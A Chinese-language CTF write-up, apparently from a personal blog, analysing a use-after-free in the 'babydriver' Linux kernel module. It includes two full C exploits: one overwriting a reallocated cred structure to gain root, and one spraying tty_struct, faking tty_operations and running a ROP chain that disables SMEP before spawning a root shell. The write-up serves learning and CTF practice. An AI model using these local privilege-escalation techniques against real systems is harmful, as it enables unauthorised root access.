linux_kernel_uaf漏洞利用实战

Author Avatar
hac425 12月 18, 2017
  • 在其它设备中阅读本文章

前言

好像是国赛的一道题。一个 linux 的内核题目。漏洞比较简单,可以作为入门。

题目链接: 在这里

正文

题目给了3个文件

paste image

分配是 根文件系统 , 内核镜像, 启动脚本。解压运行 boot.sh 即可。 vmware 需要开启一个选项。
paste image

使用 lsmod 可以找到加载的内核模块,以及它的加载地址。

paste image
多次启动发现,地址都没有变化,说明没有开启 kaslr ,从 boot.sh 中查看 qemu 启动选项

1
qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep

发现开启了 smep.

然后解压 rootfs.cpio, 拿出内核模块文件,用 ida 分析之。

使用

paste image

解开 rootfs.cpis ,可以使用 find 命令搜索 babydriver, 可知 内核模块文件位于 lib/modules/4.4.72/babydriver.ko, 然后放到 ida 里面分析即可。

使用 open 开启设备时会,分配一块内存到 babydev_struct.device_buf

paste image

关闭设备时会直接 kfreebabydev_struct.device_buf.
paste image

readwrite 非常正常的操作。

ioctl 时我们可以让 驱动 重新分配我们想要的大小的内存。

paste image

程序的漏洞在于 babydev_struct 是一个全局变量,所以如果我们打开两次该设备,就会有两个 fd 可以操作这个结构体,然后释放掉一个,另外剩下的那个就会指向一块已经 free 掉的内存, UAF.

由于开启了 smep ,我们不能使用 ret2user的攻击方式。下面介绍两种利用方法。

修改 cred

  • 进程的权限由 uid 决定,所以我们可以通过 ioctl 分配和 cred结构体同样大小的内存块

  • 然后触发漏洞,free 掉它,接着通过 fork 创建进程,这样该进程的 cred 结构体就会使用刚刚 free 掉的内存。

  • 而此时我们可以使用 babydriverwrite 功能修改这块内存。

  • 我们可以修改 cred 结构体中代表 uid 的区域 为 0,就实现了 root

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <pthread.h>
#define CRED_SIZE 168
#define DEV_NAME "/dev/babydev"
char buf[100];
int main()
{
int fd1, fd2, ret;
char zero_buf[100];
memset(zero_buf, 0, sizeof(char) * 100);
fd1 = open(DEV_NAME, O_RDWR);
fd2 = open(DEV_NAME, O_RDWR);
// 首先通过ioctl改变第一次open的内存大小,使其和cred结构体一样大小
ret = ioctl(fd1, 0x10001, CRED_SIZE);
// release第一次open,释放一个cred结构体一样大小的内存
close(fd1);
// fork一个新进程来创建一个cred结构体,这个cred结构体就会用刚刚释放的内存,即UAF内存空间
int now_uid = 1000; // 当前uid为1000
int pid = fork();
if (pid < 0) {
perror("fork error");
return 0;
}
if (!pid) {
// 写入28个0,一直到egid及其之前的都变为了0,这个时候就已经会被认为是root了
ret = write(fd2, zero_buf, 28);
now_uid = getuid();
if (!now_uid) {
printf("get root done\n");
// 权限修改完毕,启动一个shell,就是root的shell了
system("/bin/sh");
exit(0);
} else {
puts("failed?");
exit(0);
}
} else {
wait(NULL);
}
close(fd2);
return 0;
}

利用tty_struct

smep 只是不能执行用户态的代码,我们还是可以使用 用户态的数据的。我们可以通过 rop 来关闭 smep, 然后再在使用 ret2user 的技术进行提权。

首先我们需要控制 rip, 可以通过 触发 uaf 后,多次分配 tty_struct 来占坑,然后使用 write 修改 tty_operations 的指针到我们伪造的 tty_operations 结构体 就可以控制 rip 了。

要进行 rop 我们需要一个可控的 栈 。

这里使用

paste image
因为在调用 tty_operations 里面的函数时,最后一步是 call rax, 所以进入到这里时 的 rax 就为 0xffffffff81007808 这是一个 内核的内存地址,不过它的低 32 位,也即 eax0x81007808,是一个 用户态的地址,我们是可以通过 mmap 拿到的,所以思路就是,首先通过 mmap0x81007808 处布置好 rop_chain 然后 设置 tty_operations 里面的其中一个函数指针为 xchg esp,eax 的地址,然后调用之,就会进入 rop 了。

paste image

xchg esp,eax之后,可以发现 rsp 被劫持到我们可控的数据区了,接下来就是通过 rop 关闭 semp, 然后 ret2user 提权即可。

paste image

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <errno.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <string.h>
#include <pty.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#define TTY_STRUCT_SIZE 0x2e0
#define SPRAY_ALLOC_TIMES 0x100
int spray_fd[0x100];
/* // 将tty_struct放入UAF空间,将第24字节的位置用伪造的tty_operations替换,如147、148行所示
tty_struct:
int magic; // 4
struct kref kref; // 4
struct device *dev; // 8
struct tty_driver *driver; // 8
const struct tty_operations *ops; // 8, offset = 4 + 4 + 8 + 8 = 24
[...]
*/
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
const struct file_operations *proc_fops;
};
typedef int __attribute__((regparm(3)))(*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
/* Gadgets */
_commit_creds commit_creds = (_commit_creds) 0xffffffff810a1420;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff810a1810;
unsigned long native_write_cr4 = 0xFFFFFFFF810635B0; // 写入cr4来关闭smep
unsigned long xchgeaxesp = 0xFFFFFFFF81007808; // 设置栈
unsigned long poprdiret = 0xFFFFFFFF813E7D6F;
//unsigned long iretq = 0xFFFFFFFF8181A797;
unsigned long iretq = 0xffffffff814e35ef;
unsigned long swapgs = 0xFFFFFFFF81063694; // 回到用户空间之前的准备
/* status */
unsigned long user_cs, user_ss, user_rflags;
void save_stats() {
asm(
"movq %%cs, %0\n" // mov rcx, cs
"movq %%ss, %1\n" // mov rdx, ss
"pushfq\n" // 把rflags的值压栈
"popq %2\n" // pop rax
:"=r"(user_cs), "=r"(user_ss), "=r"(user_rflags) : : "memory" // mov user_cs, rcx; mov user_ss, rdx; mov user_flags, rax
);
}
void get_shell() {
system("/bin/sh");
}
void get_root() {
commit_creds(prepare_kernel_cred(0));
}
void exploit() {
int i;
char *buf = (char*)malloc(0x1000);
struct tty_operations *fake_tty_operations = (struct tty_operations *)malloc(sizeof(struct tty_operations));
save_stats();
memset(fake_tty_operations, 0, sizeof(struct tty_operations));
fake_tty_operations->ioctl = (unsigned long)xchgeaxesp; // 设置tty的ioctl操作为栈转移指令
int fd1 = open("/dev/babydev", O_RDWR);
int fd2 = open("/dev/babydev", O_RDWR);
ioctl(fd1, 0x10001, TTY_STRUCT_SIZE);
write(fd2, "hello world", strlen("hello world"));
close(fd1);
// spray tty 这里的堆喷射其实去掉也能成功,因为是释放后紧接着申请的
puts("[+] Spraying buffer with tty_struct");
for (i = 0; i < SPRAY_ALLOC_TIMES; i++) {
spray_fd[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
if (spray_fd[i] < 0) {
perror("open tty");
}
}
// 现在有一个tty_struct落在了UAF区域里
puts("[+] Reading buffer content from kernel buffer");
long size = read(fd2, buf, 32);
if (size < 32) {
puts("[-] Reading not complete!");
printf("[-] Only %ld bytes read.\n", size);
}
// 检查喷射是否成功
puts("[+] Detecting buffer content type");
if (buf[0] != 0x01 || buf[1] != 0x54) {
puts("[-] tty_struct spray failed");
printf("[-] We should have 0x01 and 0x54, instead we got %02x %02x\n", buf[0], buf[1]);
puts("[-] Exiting...");
exit(-1);
}
// 设置tty_operations为伪造的操作
puts("[+] Spray complete. Modifying function pointer");
unsigned long *temp = (unsigned long *)&buf[24];
*temp = (unsigned long)fake_tty_operations;
puts("[+] Preparing ROP chain");
unsigned long lower_address = xchgeaxesp & 0xFFFFFFFF;
unsigned long base = lower_address & ~0xfff;
printf("[+] Base address is %lx\n", base);
if (mmap(base, 0x30000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) != base) {
perror("mmap");
exit(1);
}
unsigned long rop_chain[] = {
poprdiret,
0x6f0,
native_write_cr4, // cr4 = 0x6f0
(unsigned long)get_root,
swapgs, // swapgs; pop rbp; ret
base, // rbp = base
iretq,
(unsigned long)get_shell,
user_cs,
user_rflags,
base + 0x10000,
user_ss
};
memcpy((void*)lower_address, rop_chain, sizeof(rop_chain));
puts("[+] Writing function pointer to the driver");
long len = write(fd2, buf, 32);
if (len < 0) {
perror("write");
exit(1);
}
puts("[+] Triggering");
for (i = 0;i < SPRAY_ALLOC_TIMES; i++) {
ioctl(spray_fd[i], 0, 0); // FFFFFFFF814D8AED call rax
}
}
int main() {
exploit();
return 0;
}

最后

内核态和用户态其实也差不多,主要就是对内存机制要非常了解。 xchg esp, eax 然后 mmap 即可控制 栈数据, 这个技巧确实厉害。使用 gef 没法调内核,换了 pwndbg 就可以了.

参考

http://pwn4.fun/2017/08/15/Linux-Kernel-UAF/

http://bobao.360.cn/learning/detail/4148.html

本站文章均原创, 转载注明来源
本文链接:http://blog.hac425.top/2017/12/18/linux_kernel_uaf_exploit.html